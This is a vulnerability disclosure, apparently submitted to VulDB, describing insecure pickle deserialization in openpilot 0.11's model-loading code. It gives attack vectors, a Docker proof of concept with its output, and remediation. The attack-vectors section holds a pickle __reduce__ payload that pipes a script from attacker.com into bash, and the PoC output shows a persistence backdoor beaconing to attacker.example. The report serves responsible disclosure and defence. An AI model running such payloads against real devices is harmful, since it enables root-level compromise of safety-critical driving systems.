| Title | Comma AI Openpilot 0.11 Deserialization |
|---|
| Description | Summary
openpilot uses 14 calls to pickle.load() and pickle.loads() to deserialize neural network models and metadata without any validation, sanitization, or class restriction. Python pickle is documented as insecure, it allows arbitrary code execution during deserialization. An attacker who can replace any of the .pkl files achieves arbitrary code execution as root on a vehicle’s driving computer.
Affected Code (Sink Points)
1. selfdrive/modeld/modeld.py — 7 calls (CRITICAL driving process)
# Lines 150, 157, 163 — model metadata
with open(VISION_METADATA_PATH, 'rb') as f:
vision_metadata = pickle.load(f) # <-- NO VALIDATION
# Lines 190-192 — neural model chunked (read from disk and deserialized)
self.vision_run = pickle.loads(read_file_chunked(str(VISION_PKL_PATH)))
self.policy_run = pickle.loads(read_file_chunked(str(ON_POLICY_PKL_PATH)))
self.off_policy_run = pickle.loads(read_file_chunked(str(OFF_POLICY_PKL_PATH)))
# Line 210 — warp JIT compiled (dynamic path based on camera resolution)
warp_path = MODELS_DIR / f'warp_{w}x{h}_tinygrad.pkl'
with open(warp_path, "rb") as f:
self.update_imgs = pickle.load(f) # <-- NO VALIDATION
2. selfdrive/modeld/dmonitoringmodeld.py — 3 calls
model_metadata = pickle.load(f) # line 34
self.model_run = pickle.loads(read_file_chunked(str(MODEL_PKL_PATH))) # line 48
self.image_warp = pickle.load(f) # line 59
3. selfdrive/modeld/get_model_metadata.py — 1 call (build-time)
'output_slices': pickle.loads(codecs.decode(output_slices.encode(), "base64")),
4. selfdrive/modeld/compile_warp.py — 1 call
5. selfdrive/debug/print_docs_diff.py — 1 call
6. selfdrive/test/process_replay/model_replay.py — 1 call
________________________________________
Attack Vectors
Vector 1: Local .pkl file replacement (most direct)
The .pkl files live in selfdrive/modeld/models/ on the device filesystem. The build process (SConscript) compiles ONNX models into pickles and saves them to disk. An attacker with local access to the comma device (SSH, physical access, or malicious app) can replace any .pkl with a malicious payload:
import pickle, os
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl attacker.com/shell.sh | bash',))
pickle.dump(Exploit(), open('driving_vision_metadata.pkl', 'wb'))
On the next modeld startup, the payload executes with root privileges on the embedded system.
Vector 2: Supply Chain via OTA update compromise
The update system (system/updated/updated.py) performs git fetch + git checkout + git submodule update and swaps the entire openpilot directory. If the remote git repository is compromised (or DNS is hijacked, or MITM on git protocol), compromised .pkl files will be downloaded and executed automatically on next boot.
Vector 3: Dynamic path controllable via camera resolution
In modeld.py line 208, the warp pickle path is built dynamically:
warp_path = MODELS_DIR / f'warp_{w}x{h}_tinygrad.pkl'
Where w and h come from bufs[key].width and bufs[key].height via VisionIPC. If an attacker can inject arbitrary values via IPC, they can redirect pickle.load to a prepared file.
Vector 4: Chunked file reassembly (read_file_chunked)
Large models are stored as chunks (.chunk01of03, etc.) with a manifest text file. An attacker can modify just one chunk or the manifest to inject partial payload into the reassembly before pickle.loads().
________________________________________
Impact
Arbitrary Code Execution
Pickle allows __reduce__, __getstate__, etc. to execute arbitrary code
Privilege Escalation
modeld runs as root on the comma device
Vehicle Compromise
The compromised process directly controls the driving model — can alter steering/acceleration outputs
Persistence
Payload in .pkl persists across reboots
Safety-Critical
This is the process that generates the vehicle’s driving commands
________________________________________
Proof of Concept
To simulate the vulnerable scenario, I have created a reduced Docker PoC that isolates the exact vulnerable code pattern from openpilot's modeld into a minimal, reproducible container. The PoC scripts are available at the end of this e-mail.
Reproducing with Docker
cd poc_cwe502/docker
docker build -t cwe502-poc .
docker run --rm cwe502-poc
PoC output (actual execution — April 7, 2026)
╔══════════════════════════════════════════════════════════╗
║ CWE-502 PoC — Insecure Deserialization in openpilot ║
║ Target: selfdrive/modeld/modeld.py pickle.load() ║
╚══════════════════════════════════════════════════════════╝
──── PHASE 1: ATTACKER generates malicious pickle ────
============================================================
ATTACKER: Generating malicious pickle payloads
============================================================
[+] Info Exfil -> /poc/payloads/malicious_metadata.pkl (712 bytes)
[+] Stealth -> /poc/payloads/malicious_metadata_stealth.pkl (542 bytes)
[+] Persistence -> /poc/payloads/malicious_persistence.pkl (501 bytes)
Payloads ready.
──── PHASE 2: VICTIM (modeld) loads pickle — RCE ────
[PAYLOAD] RCE achieved! Wrote /tmp/PWNED.txt
[PAYLOAD] Persistence backdoor installed
============================================================
VICTIM: Simulating openpilot modeld pickle.load()
Running as UID=0 (root)
============================================================
── TEST 1: pickle.load(f) [modeld.py:150] ──
[modeld] pickle.load(/poc/payloads/malicious_metadata.pkl)
returned: int = 0
── TEST 2: pickle.loads(bytes) [modeld.py:190] ──
[modeld] pickle.loads(read_bytes(/poc/payloads/malicious_metadata_stealth.pkl))
returned: dict
keys: ['model_checkpoint', 'output_slices', 'input_shapes', 'output_shapes']
** STEALTH: valid dict returned, modeld would NOT crash **
── TEST 3: pickle.load(f) — persistence backdoor ──
[modeld] pickle.load(/poc/payloads/malicious_persistence.pkl)
============================================================
EXPLOITATION RESULTS
============================================================
[!!!] RCE CONFIRMED — /tmp/PWNED.txt contents:
============================================================
CWE-502 EXPLOITED — ARBITRARY CODE EXECUTION
============================================================
Timestamp: 2026-04-07 13:24:13.848119
UID: 0
User: unknown
PID: 10
CWD: /poc
Platform: Linux-x.x.x.x-microsoft-standard-WSL2-x86_64-with-glibc2.41
Python: 3.12.13 (main, Apr 7 2026, 02:23:40) [GCC 14.2.0]
Hostname: 8ee544ee30b9
>> Created by pickle.load() — zero validation in modeld
[STEALTH] Executed at 2026-04-07 13:24:13.954075
[STEALTH] UID=0
[STEALTH] Returning fake metadata — modeld continues normally
[PERSISTENCE] Backdoor script installed at /tmp/persistence/crontab_backdoor.sh
[!!!] PERSISTENCE CONFIRMED — /tmp/persistence/crontab_backdoor.sh contents:
#!/bin/sh
# Installed by pickle.load() in modeld
curl <http://attacker.example/beacon?host=8ee544ee30b9> 2>/dev/null
============================================================
VERDICT: CWE-502 FULLY EXPLOITABLE
pickle.load() in modeld = arbitrary code execution
============================================================
Payload
Technique
Result
Info Exfil
__reduce__ → os.system()
Wrote system info to /tmp/PWNED.txt as UID=0
Stealth
__reduce__ → eval() with side-effect + valid return dict
Executed code silently AND returned valid metadata — modeld would continue driving normally
Persistence
__reduce__ → os.system()
Installed backdoor shell script in /tmp/persistence/
________________________________________
Remediation
Replace pickle with a safe format (e.g., safetensors, native ONNX, flatbuffers) for models and metadata
Digitally sign .pkl files with an asymmetric key and verify the signature before loading
If pickle is unavoidable, use RestrictedUnpickler with an explicit class whitelist:
import pickle, io
ALLOWED = {'numpy', 'numpy.core.multiarray', 'collections', ...}
class SafeUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module.split('.')[0] not in ALLOWED:
raise pickle.UnpicklingError(f"Forbidden:{module}.{name}")
return super().find_class(module, name)
Validate chunk integrity (SHA256 hash in manifest) before reassembly
________________________________________
References
Python docs: “Warning: The pickle module is not secure. Only unpickle data you trust.”
CWE-502: https://cwe.mitre.org/data/definitions/502.html
OWASP Deserialization Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
Reproduction (self-contained, no dependencies)
Dockerfile:
FROM python:3.12-slim
# Simulate comma device: modeld runs as root
USER root
WORKDIR /poc
# Copy PoC scripts
COPY generate_payload.py /poc/
COPY simulate_victim.py /poc/
# The exploit chain:
# 1. Attacker generates malicious .pkl files
# 2. Victim (modeld) loads them via pickle.load() — RCE
CMD echo "" && \
echo "╔═════════════════════════════════════════════ |
|---|
| User | khellwan (UID 98170) |
|---|
| Submission | 05/11/2026 18:29 (1 month ago) |
|---|
| Moderation | 06/14/2026 08:43 (1 month later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 370837 [Comma AI Openpilot 0.11 Pickle modeld.py pickle.load/pickle.loads deserialization] |
|---|
| Points | 17 |
|---|